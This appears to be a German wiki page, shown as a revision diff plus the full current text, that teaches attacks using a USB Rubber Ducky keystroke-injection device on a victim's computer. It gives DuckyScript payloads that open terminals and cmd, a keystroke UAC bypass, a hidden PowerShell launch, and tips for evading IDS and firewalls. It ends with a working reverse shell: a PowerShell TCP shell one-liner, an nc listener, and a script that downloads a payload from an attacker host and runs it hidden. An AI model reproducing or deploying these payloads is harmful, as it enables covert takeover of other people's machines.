USB: Rubber Ducky: Difference between revisions
No edit summary |
|||
Line 7: | Line 7: | ||
Allg. Ablauf: |
Allg. Ablauf: |
||
#SD-Karte einstecken |
|||
#Ducky-Script encoden (.jar oder Website toolkit) zu .bin |
|||
#Payload (.bin) auf SD-Karte ablegen |
|||
2.Ducky-Script encoden (.jar oder Website toolkit) zu .bin |
|||
#USB-Stick in Opfer-Rechner stecken |
|||
#Payload führt sich automatisch aus |
|||
4.USB-Stick in Opfer-Rechner stecken |
|||
5.Payload führt sich automatisch aus |
|||
== Angriffsszenarien == |
== Angriffsszenarien == |
||
=== Direkter Zugang === |
|||
-1.Angriffsszenario: Angreifer kann selbst (zumindest für einen kurzen Zeitraum) auf das Gerät physisch zugreifen und den RubberDucky selbst einstecken. |
|||
Angreifer kann selbst (zumindest für einen kurzen Zeitraum) auf das Gerät physisch zugreifen und den RubberDucky selbst einstecken. |
|||
=== Indirekter Zugang === |
|||
-2. Angriffsszenario: Angreifer muss Oper dazu bewegen, selbst RubberDucky in den Zielrechner einzustecken. |
|||
Angreifer muss Oper dazu bewegen, selbst RubberDucky in den Zielrechner einzustecken. |
|||
== Bash starten == |
== Bash starten == |
||
=== Problem: Betriebssystem ermitteln === |
|||
==== Lösungsansatz: Hotkeys ==== |
|||
DetourDuck<br> |
|||
<code> |
|||
'''REM open terminal on ubuntu-distros'''<br> |
|||
DELAY 500<br> |
|||
CTRL-ALT t<br> |
|||
DELAY 50<br> |
|||
ENTER<br> |
|||
'''REM open terminal on mac'''<br> |
|||
1.Lösungsansatz: Hotkeys |
|||
DELAY 1000<br> |
|||
GUI SPACE<br> |
|||
DELAY 500<br> |
|||
DELETE<br> |
|||
STRING terminal<br> |
|||
DELAY 500<br> |
|||
ENTER<br> |
|||
'''REM open cmd on windows'''<br> |
|||
DetourDuck |
|||
DELAY 500<br> |
|||
CTRL ESC<br> |
|||
DELAY 1000<br> |
|||
STRING cmd<br> |
|||
DELAY 2000<br> |
|||
CTRL-SHIFT ENTER<br> |
|||
DELAY 5000<br> |
|||
LEFTARROW<br> |
|||
DELAY 50<br> |
|||
ENTER<br> |
|||
</code> |
|||
==== Lösungsansatz: Tastenkombinationen ==== |
|||
<code> |
<code> |
||
DELAY 10000<br> |
|||
REM open terminal on mac<br> |
|||
DELAY 1000<br> |
|||
GUI SPACE<br> |
|||
DELAY 500<br> |
|||
DELETE<br> |
|||
STRING terminal<br> |
|||
DELAY 500<br> |
|||
ENTER<br> |
|||
REM open terminal on ubuntu-distros<br> |
REM open terminal on ubuntu-distros<br> |
||
DELAY 500<br> |
DELAY 500<br> |
||
REM ALT F2<br> |
|||
CTRL-ALT t<br> |
CTRL-ALT t<br> |
||
DELAY 50<br> |
DELAY 50<br> |
||
ENTER<br> |
ENTER<br> |
||
REM open cmd on windows<br> |
|||
DELAY 500<br> |
|||
CTRL ESC<br> |
|||
DELAY 1000<br> |
|||
STRING cmd<br> |
|||
DELAY 2000<br> |
|||
CTRL-SHIFT ENTER<br> |
|||
DELAY 5000<br> |
DELAY 5000<br> |
||
LEFTARROW<br> |
|||
STRING java -jar /media/$USER/DUCKYDRIVE/RubberDucky.jar &<br> |
|||
DELAY 50<br> |
DELAY 50<br> |
||
ENTER<br> |
ENTER<br> |
||
DELAY 5000<br> |
DELAY 5000<br> |
||
ESC<br> |
|||
DELAY 50<br> |
|||
ENTER |
|||
</code> |
</code> |
||
==== Lösungsansatz: OS ==== |
|||
Unterschiedliche Implementierungen des USB-Handshakes, Host Driver der Kernel vergleichen |
|||
Synchronization: Due to application-specific sampling rates, different hardware clock designs, scheduling policies in the operating system, or even physical anomalies, the host and isochronous device could fall out of synchronization. Therefore, special consideration is required to maintain synchronization. Isochronous endpoints specify one of three synchronization types. |
|||
Please note that USB, unlike other standards like VGA or PCI, is agnostic of the hardware interface to the system bus (and, by extension, to the operating system). |
|||
OperatingSystem-Kernel communicates with usb microcontroller through Host Controller Driver. |
|||
some security reserchers presented (or did they found such things in the wild?) attack scenarios with badusb devices that detect the host OS by some timing and protocoll uniquenesses to trigger slighly focused attacks. |
|||
While the OS itself never identifies any Information about the OS or host hardware, it does use a handshake to authenticate with the USB device. The sequence of this handshake is slightly different in every OS and has got some unique properties. = OS Fingerprinting |
|||
=== Problem: Schadscript ausführen === |
|||
==== Lösungsansatz: Über DuckyScript ausführen ==== |
|||
Über DuckyScript direkt ausführen |
|||
==== Lösungsansatz: Zusätzlicher Mass-Storage ==== |
|||
MassStorage als zweiten Deskriptor<br> |
|||
TwinDuck<br> |
|||
Windows Laufwerk dynamisch ermitteln: |
|||
STRING for /f "tokens=3 delims= " %A in ('echo list volume ^| diskpart ^| findstr "DUCKYDRIVE"') do (set DUCKYdrive=%A:) |
|||
==== Lösungsansatz: Aus Internet laden ==== |
|||
Script über das Internet nachladen |
|||
==== Lösungsansatz: Nutzer motivieren ==== |
|||
Nutzer dazu bringen Script selbst auszuführen (root-Rechte erhalten) |
|||
=== Problem: Unauffällig bleiben === |
|||
==== Lösungsansatz: Shell per Keystrokes verstecken ==== |
|||
[..] |
|||
==== Lösungsansatz: Hidden Shell ==== |
|||
<code>STRING powershell.exe -windowstyle hidden -File C:\Users\$env:UserName\payload.ps1</code |
|||
==== Lösungsansatz: Kleine Delays verwenden ==== |
|||
Beispiel: <code>DELAY 50</code> |
|||
===Problem: Unterschiedliche Sicherheitsfeatures umgehen === |
|||
==== Lösungsansatz: IDS/Firewalls umgehen ==== |
|||
keine Executables laden, Textfies lokal zu .exe files compilieren, über DNS-Tunnel leiten |
|||
==== Lösungsansatz: Privileg-Einschränkungen umgehen ==== |
|||
Firmware-Anpassung: zum öffnen des USB-Sticks Root-Pw angeben, ..<br> |
|||
'''UAC-Bypass:'''<br> |
|||
CTRL ESC |
|||
STRING cmd |
|||
MENU |
|||
ENTER |
|||
DOWNARROW |
|||
LEFTARROW |
|||
ENTER |
|||
== Anwendungsbeispiele == |
|||
=== Ransomware === |
|||
[..] |
|||
=== Reverse Shell === |
|||
'''Resource-Server''' |
|||
<code>sudo php -S 0.0.0.0:[Port x] -t ~/Schreibtisch/rubber_ducky/reverseShell/</code> |
|||
'''Powershell-Script''' |
|||
<code> $sm=(New-Object Net.Sockets.TCPClient("[HostIP]",[Port y])).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)} </code> |
|||
'''ReverseShell-Server''' |
|||
<code> nc -l -p [Port y] </code> |
|||
'''DuckyScript''' |
|||
'''REM Shell-Script von Server laden''' |
|||
STRING powershell |
|||
STRING $client = new-object Net.WebClient |
|||
STRING $client.DownloadFile(„http://[HostIP]:[port x]/payload.ps1“, “C:\Users\$env:UserName\payload.ps1“) |
|||
'''REM Script ausführen bzw. Shell starten''' |
|||
STRING set-executionpolicy remotesigned |
|||
STRING powershell.exe -windowstyle hidden -File C:\Users\$env:UserName\payload.ps1 |
Revision as of 23:34, 13 October 2017
Grundlagen
[..]
Rubber Ducky ist ein Microcontroller (AMTEL 32bit) mit SD-Karte der aussieht wie ein USB-Stick und sich verhält wie eine Tastatur. So kann alles mit dem Gerät gemacht werden, was mit der Tastatur gemacht werden könnte.
Allg. Ablauf:
- SD-Karte einstecken
- Ducky-Script encoden (.jar oder Website toolkit) zu .bin
- Payload (.bin) auf SD-Karte ablegen
- USB-Stick in Opfer-Rechner stecken
- Payload führt sich automatisch aus
Angriffsszenarien
Direkter Zugang
Angreifer kann selbst (zumindest für einen kurzen Zeitraum) auf das Gerät physisch zugreifen und den RubberDucky selbst einstecken.
Indirekter Zugang
Angreifer muss Oper dazu bewegen, selbst RubberDucky in den Zielrechner einzustecken.
Bash starten
Problem: Betriebssystem ermitteln
Lösungsansatz: Hotkeys
DetourDuck
REM open terminal on ubuntu-distros
DELAY 500
CTRL-ALT t
DELAY 50
ENTER
REM open terminal on mac
DELAY 1000
GUI SPACE
DELAY 500
DELETE
STRING terminal
DELAY 500
ENTER
REM open cmd on windows
DELAY 500
CTRL ESC
DELAY 1000
STRING cmd
DELAY 2000
CTRL-SHIFT ENTER
DELAY 5000
LEFTARROW
DELAY 50
ENTER
Lösungsansatz: Tastenkombinationen
DELAY 10000
REM open terminal on mac
DELAY 1000
GUI SPACE
DELAY 500
DELETE
STRING terminal
DELAY 500
ENTER
REM open terminal on ubuntu-distros
DELAY 500
REM ALT F2
CTRL-ALT t
DELAY 50
ENTER
REM open cmd on windows
DELAY 500
CTRL ESC
DELAY 1000
STRING cmd
DELAY 2000
CTRL-SHIFT ENTER
DELAY 5000
LEFTARROW
DELAY 50
ENTER
DELAY 5000
ESC
Lösungsansatz: OS
Unterschiedliche Implementierungen des USB-Handshakes, Host Driver der Kernel vergleichen Synchronization: Due to application-specific sampling rates, different hardware clock designs, scheduling policies in the operating system, or even physical anomalies, the host and isochronous device could fall out of synchronization. Therefore, special consideration is required to maintain synchronization. Isochronous endpoints specify one of three synchronization types. Please note that USB, unlike other standards like VGA or PCI, is agnostic of the hardware interface to the system bus (and, by extension, to the operating system). OperatingSystem-Kernel communicates with usb microcontroller through Host Controller Driver. some security reserchers presented (or did they found such things in the wild?) attack scenarios with badusb devices that detect the host OS by some timing and protocoll uniquenesses to trigger slighly focused attacks. While the OS itself never identifies any Information about the OS or host hardware, it does use a handshake to authenticate with the USB device. The sequence of this handshake is slightly different in every OS and has got some unique properties. = OS Fingerprinting
Problem: Schadscript ausführen
Lösungsansatz: Über DuckyScript ausführen
Über DuckyScript direkt ausführen
Lösungsansatz: Zusätzlicher Mass-Storage
MassStorage als zweiten Deskriptor
TwinDuck
Windows Laufwerk dynamisch ermitteln:
STRING for /f "tokens=3 delims= " %A in ('echo list volume ^| diskpart ^| findstr "DUCKYDRIVE"') do (set DUCKYdrive=%A:)
Lösungsansatz: Aus Internet laden
Script über das Internet nachladen
Lösungsansatz: Nutzer motivieren
Nutzer dazu bringen Script selbst auszuführen (root-Rechte erhalten)
Problem: Unauffällig bleiben
Lösungsansatz: Shell per Keystrokes verstecken
[..]
Lösungsansatz: Hidden Shell
STRING powershell.exe -windowstyle hidden -File C:\Users\$env:UserName\payload.ps1</code
Lösungsansatz: Kleine Delays verwenden
Beispiel: DELAY 50
Problem: Unterschiedliche Sicherheitsfeatures umgehen
Lösungsansatz: IDS/Firewalls umgehen
keine Executables laden, Textfies lokal zu .exe files compilieren, über DNS-Tunnel leiten
Lösungsansatz: Privileg-Einschränkungen umgehen
Firmware-Anpassung: zum öffnen des USB-Sticks Root-Pw angeben, ..
UAC-Bypass:
CTRL ESC
STRING cmd
MENU
ENTER
DOWNARROW
LEFTARROW
ENTER
Anwendungsbeispiele
Ransomware
[..]
Reverse Shell
Resource-Server
sudo php -S 0.0.0.0:[Port x] -t ~/Schreibtisch/rubber_ducky/reverseShell/
Powershell-Script
$sm=(New-Object Net.Sockets.TCPClient("[HostIP]",[Port y])).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
ReverseShell-Server
nc -l -p [Port y]
DuckyScript
REM Shell-Script von Server laden
STRING powershell
STRING $client = new-object Net.WebClient
STRING $client.DownloadFile(„http://[HostIP]:[port x]/payload.ps1“, “C:\Users\$env:UserName\payload.ps1“)
REM Script ausführen bzw. Shell starten
STRING set-executionpolicy remotesigned
STRING powershell.exe -windowstyle hidden -File C:\Users\$env:UserName\payload.ps1